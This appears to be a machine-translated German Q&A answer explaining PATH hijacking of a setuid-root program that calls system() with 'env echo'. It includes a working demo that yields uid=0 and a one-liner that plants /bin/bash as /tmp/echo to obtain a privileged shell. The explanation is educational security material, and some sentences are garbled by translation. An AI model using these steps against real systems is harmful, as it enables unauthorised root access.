Sie können den PATH
überschreiben -Variable, um auf ein Verzeichnis mit Ihrer benutzerdefinierten Version von echo
zu zeigen und seit echo
wird mit env
ausgeführt , wird es nicht als integriert behandelt.
Dies stellt nur dann eine Schwachstelle dar, wenn der Code als privilegierter Benutzer ausgeführt wird.
Im Beispiel unten enthält die Datei v.c den Code aus der Frage.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Beachten Sie, dass die Einstellung von realer Benutzer-ID, effektiver Benutzer-ID und gespeicherter Set-Benutzer-ID durch einen Aufruf von setresuid()
erfolgt vor dem Aufruf von system()
in dem anfälligen Code, der in der Frage gepostet wurde, ermöglicht es, die Sicherheitsanfälligkeit auszunutzen, selbst wenn nur die effektive Benutzer-ID auf eine privilegierte Benutzer-ID festgelegt ist und die echte Benutzer-ID nicht privilegiert bleibt (wie dies beispielsweise der Fall ist, wenn man sich auf das set-user-ID-Bit verlässt). eine Datei wie oben). Ohne den Aufruf von setresuid()
die von system()
ausgeführte Shell würde die effektive Benutzer-ID auf die echte Benutzer-ID zurücksetzen, wodurch der Exploit unwirksam würde. Wenn der anfällige Code jedoch mit der echten Benutzer-ID eines privilegierten Benutzers ausgeführt wird, system()
Anruf allein reicht. Zitat von sh
Manpage:
Wenn die Shell mit der effektiven Benutzer(gruppen)-ID gestartet wird, die nicht gleich der tatsächlichen Benutzer(gruppen)-ID ist, und die Option -p nicht angegeben ist, werden keine Startdateien gelesen, Shell-Funktionen werden nicht von der Umgebung, der SHELLOPTS-Variablen, geerbt , wenn es in der Umgebung erscheint, wird ignoriert, und die effektive Benutzer-ID wird auf die tatsächliche Benutzer-ID gesetzt. Wenn die Option -p beim Aufruf angegeben wird, ist das Startverhalten dasselbe, aber die effektive Benutzer-ID wird nicht zurückgesetzt.
Beachten Sie auch, dass setresuid()
ist nicht portabel, aber setuid()
oder setreuid()
kann auch mit dem gleichen Effekt verwendet werden.
Nun, eigentlich können Sie beim Systemfunktionsaufruf mit echo
herumspielen command.zum Beispiel, wenn Sie den folgenden Code ausführen:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
Sie erhalten eine Shell mit der Berechtigung des Dateibesitzers